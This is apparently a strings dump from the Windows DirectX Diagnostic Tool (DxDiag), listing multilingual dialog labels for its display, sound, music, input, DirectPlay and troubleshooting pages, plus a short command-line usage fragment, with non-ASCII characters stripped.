RichEdit20A
MS Shell Dlg
Apparaat
Fabrikant:
Chiptype:
DAC-type:
Totaal geheugen:
Huidige weergavemodus:
Beeldscherm:
Stuurprogramma's
Stuurprogramma:
Versie:
Datum:
Ondertekend:
Mini-VDD:
DDI-versie:
DirectX-functies
DirectDraw-versnelling:
DirectDraw &testen
Direct3D-versnelling:
Direct3D t&esten
AGP-oppervlakteversnelling:
Opmerkingen
RichEdit20A
MS Shell Dlg
Produsent:
Brikketype:
DAC-type:
Cirka totalt minne:
Gjeldende skjermmodus:
Skjerm:
Drivere
Hoveddriver:
Versjon:
WHQL-logo:
Mini-VDD:
DDI-versjon:
DirectX-funksjoner
DirectDraw-akselerasjon:
&Test DirectDraw
Direct3D-akselerasjon:
Test Direct&3D
AGP-teksturakselerasjon:
Merknader
RichEdit20A
MS Shell Dlg
dzenie
Nazwa:
Producent:
Typ mikrouk
Typ konwertera DAC:
Przybl. ca
k. il. pami
cy tryb ekranu:
Monitor:
Sterowniki
wny sterownik:
Wersja:
Podp. przez WHQL:
Ministerownik VDD:
Wersja DDI:
Funkcje DirectX
Przyspieszenie DirectDraw:
&Testuj modu
DirectDraw
Przyspieszenie Direct3D:
T&estuj modu
Direct3D
Przysp. teksturowania AGP:
RichEdit20A
MS Shell Dlg
Dispositivo
Fabricante:
Tipo de processador:
Tipo de conv. anal
gico-digital:
Total aprox. mem
Modo de exib. atual:
Monitor:
Drivers
Driver principal:
Assinado pelos WHQL:
Mini VDD:
o de DDI:
Recursos do DirectX
Acelera
o do DirectDraw:
Testar DirectDra&w
Acelera
o do Direct3D:
Testar Dire&ct3D
Acelera
o de textura AGP:
Observa
RichEdit20A
MS Shell Dlg
DirectX
DirectDraw:
DirectDraw
Direct3D:
Direct3D
RichEdit20A
MS Shell Dlg
Tillverkare:
Kretstyp:
DAC-typ:
Uppskattat totalt minne:
Aktuellt bildsk
Bildsk
Drivrutiner
Huvuddrivrutin:
Version:
Datum:
WHQL-signerad:
Mini-VDD:
DDI-version:
DirectX-funktioner
DirectDraw-acceleration:
Testa &DirectDraw
Direct3D-acceleration:
Testa Direct&3D
AGP-struktursacceleration:
rkningar
RichEdit20A
MS Shell Dlg
retici:
Yonga t
k Top. Bellek:
erli G
Modu:
Tarih:
WHQL Logolu:
Mini VDD:
DirectX
zellikleri
DirectDraw H
DirectDra&w S
Direct3D H
Dire&ct3D S
AGP Doku H
Notlar
RichEdit20A
DirectX R
DirectDraw
DirectDraw(&T)
Direct3D
Direct3D(&E)
RichEdit20A
MS Shell Dlg
Dispositivo
Fabricante:
Tipo de chip:
Tipo de DAC:
Total aprox. de mem
Modo de visualiz. actual:
Monitor:
Controladores
Contr. principal:
tipo WHQL:
Mini VDD:
o DDI:
Funcionalidades do DirectX
Acelera
o do DirectDraw:
&Testar DirectDraw
Acelera
o do Direct3D:
Testar Direct&3D
Acelera
o de texturas AGP:
RichEdit20A
MS Shell Dlg
Dispositivo
Nombre:
Fabricante:
Tipo de chip:
Tipo de DAC:
Memoria total aprox.:
Modo de present. actual:
Monitor:
Controladores
Contr. principal:
Fecha:
Con log. WHQL:
VDD peque
n de DDI:
Caracter
sticas de DirectX
Aceleraci
n DirectDraw:
Probar DirectDra&w
Aceleraci
n Direct3D:
Probar Direct&3D
Aceleraci
n de textura AGP:
RichEdit20A
MS Shell Dlg
WHQL:
DirectX
msctls_trackbar32
Slider1
DirectSound
RichEdit20A
DirectX R
msctls_trackbar32
Slider1
DirectSound(&T)
RichEdit20A
MS Shell Dlg
robce:
Ovlada
Verze:
Datum:
Certifikov
no WHQL:
soubory:
Zprost
edkovatel:
Funkce rozhran
DirectX
hardwarov
akcelerace
zvuku:
msctls_trackbar32
Slider1
&Test rozhran
DirectSound
RichEdit20A
MS Shell Dlg
Enheds-id:
Producent-id:
Produkt-id:
Standardenhed:
Drivere
Version:
WHQL-logo:
Andre filer:
Producent:
DirectX-funktioner
Niveau for hardwareacceleration af lyd:
msctls_trackbar32
Slider1
&Test DirectSound
rkninger
RichEdit20A
MS Shell Dlg
tekennung:
Herstellerkennung:
Produktkennung:
Standardger
Treiber
Version:
Datum:
Mit WHQL-Logo:
Andere Dateien:
Anbieter:
DirectX-Funktionen
Einstellung der Sound- hardwarebeschleunigung:
msctls_trackbar32
Slider1
DirectSound &testen
Anmerkungen
RichEdit20A
MS Shell Dlg
WHQL:
DirectX
msctls_trackbar32
Slider1
DirectSound
RichEdit20A
MS Shell Dlg
Device
Device ID:
Manufacturer ID:
Product ID:
Default Device:
Drivers
Version:
WHQL Logo'd:
Other Files:
Provider:
DirectX Features
Hardware Sound Acceleration Level:
msctls_trackbar32
Slider1
&Test DirectSound
RichEdit20A
MS Shell Dlg
Laitetunnus:
Valmistajatunnus:
Product ID -tunnus:
Oletuslaite:
Ohjaimet
Versio:
WHQL-logo:
Muut tiedostot:
Palvelu:
DirectX-ominaisuudet
Laitteiston
nen kiihdytystaso:
msctls_trackbar32
Slider1
&Testaa DirectSound
Huomautuksia
RichEdit20A
MS Shell Dlg
ID de p
ID du fabricant
ID de produit
rique par d
Pilotes
Version
Autres fichiers
Fournisseur
Fonctionnalit
s DirectX
Niveau d'acc
ration du mat
riel audio
msctls_trackbar32
Slider1
&Tester DirectSound
Remarques
RichEdit20A
MS Shell Dlg
WHQL:
DirectX
msctls_trackbar32
Slider1
DirectSound
RichEdit20A
MS Shell Dlg
zazonos
azonos
kazonos
rtelmezett eszk
Illeszt
programok
WHQL embl
Terjeszt
DirectX szolg
A hangok hardveres gyors
si szintje:
msctls_trackbar32
Slider1
A DirectSound &tesztel
Megjegyz
RichEdit20A
MS Shell Dlg
Periferica
ID periferica:
ID produttore:
Numero di serie:
Periferica predefinita:
Driver
Versione:
Certificato WHQL:
Altri file:
Fornitore:
Funzionalit
DirectX
Livello di accelerazione audio hardware:
msctls_trackbar32
Slider1
&Test DirectSound
RichEdit20A
MS UI Gothic
DirectX
msctls_trackbar32
Slider1
DirectSound
RichEdit20A
DirectX 0
msctls_trackbar32
Slider1
DirectSound
RichEdit20A
MS Shell Dlg
Apparaat
Apparaat-id:
Fabrikant-id:
Product-id:
Standaardapparaat:
Stuurprogramma's
Versie:
Datum:
Ondertekend:
Andere bestanden:
Leverancier:
DirectX-functies
Versnellingsniveau van hardwaregeluid:
msctls_trackbar32
Slider1
DirectSound &testen
Opmerkingen
RichEdit20A
MS Shell Dlg
Enhets-ID:
Produsent-ID:
Produkt-ID:
Standardenhet:
Drivere
Versjon:
WHQL-logo:
Andre filer:
Leverand
DirectX-funksjoner
Lydakselerasjonsniv
for maskinvare:
msctls_trackbar32
Slider1
&Test DirectSound
Merknader
RichEdit20A
MS Shell Dlg
dzenie
Nazwa:
Identyfikator urz
dzenia:
Identyfikator producenta:
Identyfikator produktu:
lne urz
dzenie:
Sterowniki
Nazwa:
Wersja:
Podp. przez WHQL:
Inne pliki:
Dostawca:
Funkcje DirectX
Poziom sprz
towego przyspieszenia d
msctls_trackbar32
Slider1
&Testuj modu
DirectSound
RichEdit20A
MS Shell Dlg
Dispositivo
Ident. do dispositivo:
Ident. do fabricante:
Ident. do produto (Product ID):
Dispositivo padr
Drivers
Assinado pelos WHQL:
Outros arquivos:
Fornecedor:
Recursos do DirectX
vel de acelera
o de som do hardware:
msctls_trackbar32
Slider1
&Testar DirectSound
Observa
RichEdit20A
MS Shell Dlg
DirectX
msctls_trackbar32
Slider1
DirectSound
RichEdit20A
MS Shell Dlg
Enhets-ID:
Tillverkarens ID:
Produkt-ID:
Standardenhet:
Drivrutiner
Version:
Datum:
WHQL-signerad:
Andra filer:
Leverant
DirectX-funktioner
Maskinvaruaccelerationsniv
r ljud:
msctls_trackbar32
Slider1
&Testa DirectSound
rkningar
RichEdit20A
MS Shell Dlg
retici Kimli
n Kimli
Varsay
lan ayg
Tarih:
WHQL Logolu:
er Dosyalar:
DirectX
zellikleri
m Ses H
msctls_trackbar32
Slider1
DirectSo&und'u S
Notlar
RichEdit20A
DirectX R
msctls_trackbar32
Slider1
DirectSound(&T)
RichEdit20A
MS Shell Dlg
Dispositivo
ID do dispositivo:
ID do fabricante:
ID do produto:
Dispositivo predefinido:
Controladores
tipo WHQL:
Outros ficheiros:
Fornecedor:
Funcionalidades do DirectX
vel de acelera
o do som de hardware:
msctls_trackbar32
Slider1
&Testar DirectSound
RichEdit20A
MS Shell Dlg
Dispositivo
Nombre:
Id. de dispositivo:
Id. del fabricante:
Id. del producto:
Dispositivo predeterm.:
Controladores
Nombre:
Fecha:
Con log. WHQL:
Otros archivos:
Proveedor:
Caracter
sticas de DirectX
Nivel de aceleraci
n de sonido de hardware:
msctls_trackbar32
Slider1
Pro&bar DirectSound
RichEdit20A
MS Shell Dlg
MIDI DLS
SysListView32
DirectX
DirectMusic
RichEdit20A
MIDI DLS
SysListView32
DirectX R
DirectMusic(&T)
RichEdit20A
MS Shell Dlg
Sada General MIDI DLS:
Hudebn
porty
SysListView32
Funkce rozhran
DirectX
Akcelerace na v
m portu:
Testovat na &portu:
&Test rozhran
DirectMusic
RichEdit20A
MS Shell Dlg
General MIDI DLS-samling:
Musikporte
SysListView32
DirectX-funktioner
Standardportacceleration:
Test med denne p&ort:
&Test DirectMusic
rkninger
RichEdit20A
MS Shell Dlg
Standard-MIDI-DLS-Sammlung:
Musikanschl
SysListView32
DirectX-Funktionen
Standardanschlussbeschleunigung:
Mit diesem &Anschluss testen:
DirectMusic &testen
Anmerkungen
RichEdit20A
MS Shell Dlg
MIDI DLS:
SysListView32
DirectX
DirectMusic
RichEdit20A
MS Shell Dlg
General MIDI DLS Collection:
Music Ports
SysListView32
DirectX Features
Default Port Acceleration:
Test using this &port:
&Test DirectMusic
RichEdit20A
MS Shell Dlg
Yleinen MIDI DLS -kokoelma:
Musiikkiportit
SysListView32
DirectX-ominaisuudet
Oletusportin kiihtyvyys:
T&estaa k
porttia:
&Testaa DirectMusic
Huomautuksia
RichEdit20A
MS Shell Dlg
Collection DLS General MIDI
Ports musicaux
SysListView32
Fonctionnalit
s DirectX
ration de port par d
Tester en utilisant ce &port
&Tester DirectMusic
Remarques
RichEdit20A
MS Shell Dlg
MIDI DLS
SysListView32
DirectX
DirectMusic
RichEdit20A
MS Shell Dlg
GMIDI DLS-gy
Zenei portok
SysListView32
DirectX szolg
rtelmezett portgyors
A tesztel
shez haszn
lt &port:
A DirectMusic tes&ztel
Megjegyz
RichEdit20A
MS Shell Dlg
Raccolta generale MIDI DLS:
Porte per periferiche musicali
SysListView32
Funzionalit
DirectX
Accelerazione porta predefinita:
Test utili&zzando questa porta:
&Test DirectMusic
RichEdit20A
MS UI Gothic
MIDI DLS
SysListView32
DirectX
DirectMusic
RichEdit20A
MIDI DLS
SysListView32
DirectX 0
DirectMusic
RichEdit20A
MS Shell Dlg
Algemene MIDI DLS-verzameling:
Muziekpoorten
SysListView32
DirectX-functies
Standaardpoortversnelling:
Testen met &deze poort:
DirectMusic &testen
Opmerkingen
RichEdit20A
MS Shell Dlg
General MIDI DLS-samling:
Musikkporter
SysListView32
DirectX-funksjoner
Standard portakselerasjon:
Test ved
&bruke denne porten:
&Test DirectMusic
Merknader
RichEdit20A
MS Shell Dlg
lna kolekcja MIDI DLS:
Porty muzyczne
SysListView32
Funkcje DirectX
lne przyspieszenie portu:
T&estuj przy u
yciu tego portu:
&Testuj modu
DirectMusic
RichEdit20A
MS Shell Dlg
Conjunto geral de MIDI DLS:
Portas de m
SysListView32
Recursos do DirectX
Acelera
o padr
o da porta:
Testar &usando esta porta:
&Testar DirectMusic
Observa
RichEdit20A
MS Shell Dlg
General MIDI DLS:
SysListView32
DirectX
DirectMusic
RichEdit20A
MS Shell Dlg
n MIDI DLS-samling:
Musikportar
SysListView32
DirectX-funktioner
Standardacceleration f
r porten:
&Testa med f
ljande port:
Testa &DirectMusic
rkningar
RichEdit20A
MS Shell Dlg
Genel MIDI DLS Koleksiyonu:
zik Ba
Noktalar
SysListView32
DirectX
zellikleri
Varsay
lan Ba
Noktas
B&u ba
noktas
kullanarak s
Direct&Music'i S
Notlar
RichEdit20A
MIDI DLS
SysListView32
DirectX R
DirectMusic(&T)
RichEdit20A
MS Shell Dlg
o DLS General MIDI:
Portas de m
SysListView32
Funcionalidades do DirectX
Acelera
o da porta predefinida:
Testar utilizando esta &porta:
&Testar DirectMusic
RichEdit20A
MS Shell Dlg
Colecci
n MIDI DLS general:
Puertos de m
SysListView32
Caracter
sticas de DirectX
Aceleraci
n predet. de puerto:
Pr&obar usando este puerto:
Pro&bar DirectMusic
RichEdit20A
MS Shell Dlg
DirectInput
SysListView32
SysTreeView32
RichEdit20A
DirectInput
SysListView32
SysTreeView32
RichEdit20A
MS Shell Dlg
DirectInput
SysListView32
Vstupn
SysTreeView32
RichEdit20A
MS Shell Dlg
DirectInput-enheder
SysListView32
Inputrelaterede enheder
SysTreeView32
rkninger
RichEdit20A
MS Shell Dlg
DirectInput-Ger
SysListView32
Eingabebezogene Ger
SysTreeView32
Anmerkungen
RichEdit20A
MS Shell Dlg
DirectInput
SysListView32
SysTreeView32
RichEdit20A
MS Shell Dlg
DirectInput Devices
SysListView32
Input Related Devices
SysTreeView32
RichEdit20A
MS Shell Dlg
DirectInput-laitteet
SysListView32
laitteet
SysTreeView32
Huomautuksia
RichEdit20A
MS Shell Dlg
riques DirectInput
SysListView32
riques de saisie associ
SysTreeView32
Remarques
RichEdit20A
MS Shell Dlg
DirectInput
SysListView32
SysTreeView32
RichEdit20A
MS Shell Dlg
DirectInput-eszk
SysListView32
Bevitellel kapcsolatos eszk
SysTreeView32
Megjegyz
RichEdit20A
MS Shell Dlg
Periferiche DirectInput
SysListView32
Periferiche di input
SysTreeView32
RichEdit20A
MS UI Gothic
DirectInput
SysListView32
SysTreeView32
RichEdit20A
DirectInput X
SysListView32
SysTreeView32
RichEdit20A
MS Shell Dlg
DirectInput-apparaten
SysListView32
Aan invoer gerelateerde apparaten
SysTreeView32
Opmerkingen
RichEdit20A
MS Shell Dlg
DirectInput-enheter
SysListView32
Inndatarelaterte enheter
SysTreeView32
Merknader
RichEdit20A
MS Shell Dlg
dzenia DirectInput
SysListView32
dzenia wej
SysTreeView32
RichEdit20A
MS Shell Dlg
Dispositivos do DirectInput
SysListView32
Dispositivos relacionados a entrada
SysTreeView32
Observa
RichEdit20A
MS Shell Dlg
DirectInput
SysListView32
SysTreeView32
RichEdit20A
MS Shell Dlg
DirectInput-enheter
SysListView32
Indatarelaterade enheter
SysTreeView32
rkningar
RichEdit20A
MS Shell Dlg
DirectInput Ayg
SysListView32
lgili Ayg
SysTreeView32
Notlar
RichEdit20A
DirectInput
SysListView32
SysTreeView32
RichEdit20A
MS Shell Dlg
Dispositivos DirectInput
SysListView32
Dispositivos relacionados com entrada
SysTreeView32
RichEdit20A
MS Shell Dlg
Dispositivos de DirectInput
SysListView32
Dispositivos de entrada relacionados
SysTreeView32
RichEdit20A
MS Shell Dlg
DirectPlay
SysListView32
DirectPlay
SysListView32
DirectX
DirectPlay
DirectPlay
RichEdit20A
DirectPlay
SysListView32
Lobbyable DirectPlay
SysListView32
DirectX R
DirectPlay
DirectPlay(&T)
RichEdit20A
MS Shell Dlg
Registrovan
zprost
edkovatel
eb rozhran
DirectPlay
SysListView32
Registrovan
aplikace DirectPlay, umo
vstup
SysListView32
Funkce rozhran
DirectX
nosti sou
sti DirectPlay&Voice
&Test rozhran
DirectPlay
RichEdit20A
MS Shell Dlg
Registrerede tjenesteudbydere til DirectPlay
SysListView32
Registrerede DirectPlay-programmer med lobby-funktioner
SysListView32
DirectX-funktioner
&Indstillinger for DirectPlay Voice
&Test DirectPlay
rkninger
RichEdit20A
MS Shell Dlg
Registrierte DirectPlay-Dienstanbieter
SysListView32
Registrierte ver
nderbare DirectPlay-Anwendungen
SysListView32
DirectX-Funktionen
DirectPlay &Voice-Optionen
DirectPlay te&sten
Anmerkungen
RichEdit20A
MS Shell Dlg
DirectPlay
SysListView32
Lobbyable DirectPlay
SysListView32
DirectX
DirectPlay
DirectPlay
RichEdit20A
MS Shell Dlg
Registered DirectPlay Service Providers
SysListView32
Registered Lobbyable DirectPlay Applications
SysListView32
DirectX Features
DirectPlay &Voice Options
&Test DirectPlay
RichEdit20A
MS Shell Dlg
Rekister
idyt DirectPlay-palvelut
SysListView32
Rekister
idyt DirectPlay-sovellukset
SysListView32
DirectX-ominaisuudet
&DirectPlay-
niasetukset
&Testaa DirectPlay
Huomautuksia
RichEdit20A
MS Shell Dlg
Fournisseurs de services DirectPlay enregistr
SysListView32
Applications DirectPlay enregistr
es susceptibles d'
tre prises en charge
SysListView32
Fonctionnalit
s DirectX
Options DirectPlay &Voice
&Tester DirectPlay
Remarques
RichEdit20A
MS Shell Dlg
DirectPlay
SysListView32
-DirectPlay
SysListView32
DirectX
DirectPlay Voice
DirectPlay
RichEdit20A
MS Shell Dlg
Regisztr
lt DirectPlay szolg
SysListView32
Regisztr
ktermi DirectPlay alkalmaz
SysListView32
DirectX szolg
DirectPlay &hangbe
A DirectPlay &tesztel
Megjegyz
RichEdit20A
MS Shell Dlg
Provider registrati di servizi DirectPlay
SysListView32
Applicazioni registrate DirectPlay con supporto lobby
SysListView32
Funzionalit
DirectX
Opzioni DirectPlay &Voice
&Test DirectPlay
RichEdit20A
MS UI Gothic
DirectPlay
SysListView32
DirectPlay
SysListView32
DirectX
DirectPlay
DirectPlay
RichEdit20A
DirectPlay
SysListView32
Lobbyable DirectPlay
SysListView32
DirectX 0
DirectPlay
DirectPlay
RichEdit20A
MS Shell Dlg
Geregistreerde DirectPlay-serviceproviders
SysListView32
Geregistreerde DirectPlay-toepassingen met lobby
SysListView32
DirectX-functies
DirectPlay Voi&ce-opties
DirectPlay &testen
Opmerkingen
RichEdit20A
MS Shell Dlg
Registrerte DirectPlay-tjenesteleverand
SysListView32
Registrerte DirectPlay-informasjonsprogrammer
SysListView32
DirectX-funksjoner
&Stemmealternativer for DirectPlay
&Test DirectPlay
Merknader
RichEdit20A
MS Shell Dlg
Zarejestrowani us
ugodawcy modu
u DirectPlay
SysListView32
Zarejestrowane aplikacje modu
u Lobbyable DirectPlay
SysListView32
Funkcje DirectX
Opcje programu DirectPlay &Voice
&Testuj modu
DirectPlay
RichEdit20A
MS Shell Dlg
Provedores de servi
o DirectPlay registrados
SysListView32
Aplicativos DirectPlay habilitados para lobby registrados
SysListView32
Recursos do DirectX
es do &DirectPlay Voice
&Testar o DirectPlay
Observa
RichEdit20A
MS Shell Dlg
DirectPlay
SysListView32
DirectPlay
SysListView32
DirectX
DirectPlay Voice
DirectPlay
RichEdit20A
MS Shell Dlg
Registrerade DirectPlay-tj
nstproviders
SysListView32
Registrerade valfria DirectPlay-program
SysListView32
DirectX-funktioner
Alternativ f
r DirectPlay Voi&ce
&Testa DirectPlay
rkningar
RichEdit20A
MS Shell Dlg
DirectPlay Hizmet Sa
SysListView32
Etkilenebilir DirectPlay Uygulamalar
SysListView32
DirectX
zellikleri
DirectPlay &Ses Se
enekleri
&DirectPlay'i S
Notlar
RichEdit20A
DirectPlay
SysListView32
Lobbyable DirectPlay
SysListView32
DirectX R
DirectPlay
DirectPlay(&T)
RichEdit20A
MS Shell Dlg
Fornecedores de servi
os DirectPlay registados
SysListView32
Aplica
es DirectPlay registadas sujeitas a lobby
SysListView32
Funcionalidades do DirectX
es de &voz DirectPlay
&Testar DirectPlay
RichEdit20A
MS Shell Dlg
Proveedores de servicio DirectPlay registrados
SysListView32
Aplicaciones registradas de DirectPlay con soporte multijugador
SysListView32
Caracter
sticas de DirectX
Opciones de &voz de DirectPlay
Pro&bar DirectPlay
RichEdit20A
MS Shell Dlg
DirectX
Windows:
Windows:
Microsoft:
DirectDraw (
Windows
DirectX
(&T)...
Windows
(&U)...
Microsoft
(&M)...
DirectDraws
(&O)...
(&I)...
MS Shell Dlg
Jestli
e se v
m nepoda
ilo vy
it probl
ete vyzkou
kterou z n
sleduj
ch akc
te Poradce p
ch s rozhran
m DirectX:
Po&radce p
te poradce syst
mu Windows p
ch se zvukem:
Zv&uk...
te program Syst
informace:
&MSInfo...
te obnovovac
frekvenci rozhran
DirectDraw (pouze pro zku
ivatele):
epsat...
Odstra
te probl
se neaktivn
ch zobrazovac
N&eaktivn
MS Shell Dlg
Hvis du ikke kunne l
se problemet med dette v
j, kan du g
lgende:
Klik p
denne knap for at pr
ve DirectX-fejlfinding i Windows Hj
&Fejlfinding...
Klik p
denne knap for at pr
ve Lydfejlfinding i Windows Hj
&Lyd...
Klik p
denne knap for at starte v
jet Microsoft Systemoplysninger:
&MSInfo...
Klik p
denne knap for at
ndre DirectDraws opdateringshastighed (erfarne brugere):
&Skift...
Klik p
denne knap for at l
se problemer i forbindelse med inaktive sk
rmenheder:
&Inaktive...
MS Shell Dlg
Verwenden Sie die unten stehenden Optionen, falls Sie das Problem nicht mit diesem Programm beheben konnten.
Klicken Sie auf diese Schaltfl
che, um die Windows-Hilfe f
r DirectX-Problembehandlung aufzurufen:
&Problembehandlung...
Klicken Sie auf diese Schaltfl
che, um die Windows-Hilfe f
r Soundproblembehandlung aufzurufen:
So&und...
Klicken Sie auf diese Schaltfl
che, um das Microsoft-Systeminformationsprogramm aufzurufen:
&MSInfo...
Klicken Sie auf diese Schaltfl
che, um die DirectDraw-Aktualisierungsrate au
er Kraft zu setzen (nur f
r fortgeschrittene Benutzer):
er Kraft setzen...
Klicken Sie auf diese Schaltfl
che, um Probleme, die mit inaktiven Anzeigeger
ten zusammenh
ngen, zu beheben:
Inakti&ve Ger
MS Shell Dlg
DirectX
Windows:
Windows:
Microsoft:
&MSInfo...
DirectDraw (
MS Shell Dlg
If you were not able to resolve the problem with this tool, here are some other things you can do:
Click this button to try Windows Help's DirectX troubleshooter:
&Troubleshoot...
Click this button to try Windows Help's Sound troubleshooter:
So&und...
Click this button to start the Microsoft System Information Tool:
&MSInfo...
Click this button to override DirectDraw's refresh rate (for advanced users only):
&Override...
Click this button to work around problems related to inactive display devices:
&Inactive...
MS Shell Dlg
Jos et ratkaissut ongelmaa t
kalun avulla, voit viel
toimia seuraavasti:
Kokeile Windowsin ohjeen DirectX-vianm
rityst
napsauttamalla seuraavaa painiketta:
&Vianm
ritys...
Kokeile Windowsin ohjeen
ni-vianm
rityst
napsauttamalla seuraavaa painiketta:
ynnist
Microsoft J
rjestelm
tiedot -ty
kalu napsauttamalla seuraavaa painiketta:
rjestelm
tiedot...
Korvaa DirectDraw'n virkistystaajuus (ei perusk
t) napsauttamalla seuraavaa painiketta:
Korv&aa...
Ratkaise ongelmat, jotka liittyv
t passiivisiin n
laitteisiin, napsauttamalla seuraavaa painiketta:
Pass&iivinen...
MS Shell Dlg
Si vous n'avez pas pu r
soudre le probl
me avec cet outil, voici quelques suggestions
Cliquez sur ce bouton pour acc
l'outil de r
solution des probl
mes DirectX dans l'Aide de Windows
pannage...
Cliquez sur ce bouton pour acc
l'outil de r
solution des probl
mes audio dans l'Aide de Windows
S&on...
Cliquez sur ce bouton pour d
marrer l'outil Informations syst
me de Microsoft
&Infos syst
Cliquez sur ce bouton pour remplacer la fr
quence de rafra
chissement de DirectDraw (r
aux utilisateurs exp
riment
Remp&lacer...
Cliquez sur ce bouton pour r
soudre des probl
mes li
s aux p
riques d'affichage inactifs
riques inactifs...
MS Shell Dlg
- DirectX
Windows:
Windows:
Microsoft:
DirectDraw's (
MS Shell Dlg
Ha ennek az eszk
znek a haszn
val nem tudta megoldani a probl
t, megpr
lhatja m
vetkez
lehet
geket:
A Windows s
ban tal
DirectX hibakeres
elind
&Hibakeres
A Windows s
ban tal
Hang hibaelh
elind
H&ang...
A Microsoft Rendszerinform
elind
MSI&nfo...
A DirectDraw friss
si frekvenci
nak fel
sa (csak tapasztalt felhaszn
knak):
Az inakt
v megjelen
kkel kapcsolatos hib
k kijav
&Inakt
MS Shell Dlg
Se il problema non
stato risolto,
possibile effettuare una delle seguenti operazioni:
Fare clic su questo pulsante per visualizzare la risoluzione dei problemi di DirectX della Guida di Windows:
Risolu&zione dei problemi...
Fare clic su questo pulsante per visualizzare la risoluzione dei problemi audio della Guida di Windows:
&Audio...
Fare clic su questo pulsante per avviare l'utilit
Microsoft System Information:
&MSInfo...
Fare clic su questo pulsante per sostituire la frequenza di aggiornamento di DirectDraw (solo per utenti esperti):
Sostituis&ci...
Fare clic su questo pulsante per risolvere problemi relativi a periferiche video inattive:
&Inattive...
MS UI Gothic
Windows
DirectX
(&T)...
Windows
(&U)...
Microsoft
(&M)...
DirectDraw
(&O)...
(&I)...
Windows
DirectX
(&T)...
Windows
(&U)...
Microsoft
(&M)...
DirectDraw
(&O)...
(&I)...
MS Shell Dlg
Als u het probleem niet met dit hulpprogramma hebt kunnen oplossen, biedt een van de volgende mogelijkheden wellicht een oplossing:
Klik op deze knop als u de probleemoplosser van Windows Help voor DirectX wilt proberen:
&Probleem oplossen...
Klik op deze knop als u de probleemoplosser van Windows Help voor geluid wilt raadplegen:
&Geluid...
Klik op deze knop als u het hulpprogramma Microsoft Systeeminfo wilt starten:
&MSInfo...
Klik op deze knop als u de vernieuwingsfrequentie van DirectDraw wilt wijzigen (alleen voor ervaren gebruikers):
&Wijzigen...
Klik op deze knop als u problemen met niet-actieve weergaveapparaten wilt omzeilen:
&Niet-actief...
MS Shell Dlg
Her er noen andre ting du kan gj
re hvis problemet ikke ble l
st med dette verkt
Klikk denne knappen for
ve feils
king i forbindelse med DirectX i Hjelp for Windows:
&Feils
king...
Klikk denne knappen hvis du vil pr
ve feils
king for lyd i Hjelp for Windows:
&Lyd...
Klikk denne knappen for
starte Microsoft Systeminformasjon:
&MSInfo...
Klikk denne knappen for
overstyre oppdateringsfrekvensen for DirectDraw (bare for avanserte brukere):
&Overstyr...
Klikk denne knappen hvis du vil omg
problemer som gjelder inaktive skjermenheter:
&Inaktiv...
MS Shell Dlg
eli nie uda
rozwi
problemu za pomoc
tego narz
dzia, oto lista innych rozwi
Kliknij ten przycisk, aby wypr
dzie Pomocy systemu Windows do rozwi
zywania problem
w z DirectX:
&Rozwi
zywanie problem
Kliknij ten przycisk, aby u
dzia do rozwi
zywania problem
kiem w Pomocy systemu Windows:
Kliknij ten przycisk, aby uruchomi
dzie informacji o systemie Microsoft:
&MSInfo...
Kliknij ten przycisk, aby zast
stotliwo
ania modu
u DirectDraw (tylko dla zaawansowanych u
ytkownik
Kliknij ten przycisk, aby obej
problemy zwi
zane z nieaktywnymi urz
dzeniami wy
wietlaj
&Nieaktywne...
MS Shell Dlg
Se voc
o tiver conseguido resolver o problema com esta ferramenta, h
outros procedimentos a serem seguidos:
Clique neste bot
o para usar a solu
o de problemas da 'Ajuda' do Windows para o DirectX:
S&olucionar problemas...
Clique neste bot
o para usar a solu
o de problemas de som da 'Ajuda' do Windows:
&Som...
Clique neste bot
o para iniciar a ferramenta de informa
es do sistema Microsoft:
&MSInfo...
Clique neste bot
o para substituir a taxa de atualiza
o do DirectDraw (somente para usu
rios avan
ados):
S&ubstituir...
Clique neste bot
o para solucionar problemas relacionados com dispositivos de v
deo inativos:
&Inativo...
MS Shell Dlg
DirectX
Windows:
Windows:
MSInfo...
DirectDraw (
MS Shell Dlg
Om du inte kunde l
sa problemet med detta verktyg, kan du f
ka med n
got av f
ljande:
Klicka p
denna knapp om du vill f
ka med Windows-hj
lpens fels
kare f
r DirectX:
Klicka p
den h
r knappen om du vill prova fels
karen f
r ljud i Windows-hj
&Ljud...
Klicka p
denna knapp om du vill starta verktyget Systeminformation:
&MSInfo...
Klicka p
den h
r knappen om du vill
tta uppdateringshastigheten f
r DirectDraw (endast f
r avancerade anv
ndare):
sid&os
Klicka p
den h
r knappen om du har problem med inaktiva bildsk
rmsenheter:
&Inaktiv...
MS Shell Dlg
Sorunu bu ara
zemediyseniz, di
er yapabilecekleriniz
unlard
Windows Yard
n DirectX sorun gidericisini denemek i
in bu d
meyi t
&Sorun Gider...
Windows Yard
n Ses sorun gidericisini denemek i
in bu d
meyi t
S&es...
Microsoft Sistem Bilgileri Arac
latmak i
in bu d
meyi t
&MSInfo...
DirectDraw'un yenileme oran
ersiz k
lmak i
in bu d
meyi t
n (yaln
zca ileri kullan
ersiz &K
Etkin olmayan g
yla ilgili sorunlar
zmek i
in bu d
meyi t
E&tkin De
Windows
DirectX
(&T)...
Windows
(&U)...
Microsoft
(&M)...
DirectDraw
(&O)...
(&I)...
MS Shell Dlg
o foi poss
vel resolver o problema com esta ferramenta, seguem procedimentos que pode tentar executar:
Clique neste bot
o para tentar a resolu
o de problemas do DirectX da 'Ajuda do Windows':
Resolu
o de pro&blemas...
Clique neste bot
o para tentar a resolu
o de problemas de som da ajuda do Windows:
So&m...
Clique neste bot
o para iniciar a ferramenta 'Informa
es de sistema' da Microsoft:
MSIn&fo...
Clique neste bot
o para alterar a frequ
ncia de actualiza
o do DirectDraw (apenas para utilizadores experientes):
Al&terar...
Clique neste bot
o para resolver problemas relacionados com dispositivos de visualiza
o inactivos:
&Inactivos...
MS Shell Dlg
Si no pudo resolver el problema con esta herramienta, puede tratar de hacer lo siguiente:
Haga clic en este bot
n para probar el solucionador de problemas DirectX de la Ayuda:
S&olucionar problemas...
Haga clic en este bot
n para usar el solucionador de problemas de sonido de la Ayuda de Windows:
Soni&do...
Haga clic en este bot
n para iniciar la herramienta de informaci
n del sistema de Microsoft:
&MSInfo...
Haga clic en este bot
n para suplantar la frecuencia de actualizaci
n de DirectDraw (s
lo para usuarios con experiencia):
Reempla&zar...
Haga clic en este bot
n para solucionar problemas relacionados con dispositivos de pantalla inactivos:
&Inactivos...
DirectXI
Windows 98
Windows 2000
Windows.
: dxdiag
[/x outfile] [/t outfile] [/whql:on | /whql:off]
/x outfile
<outfile>
/t outfile
<outfile>
/whql:on
dxdiag
/whql:off
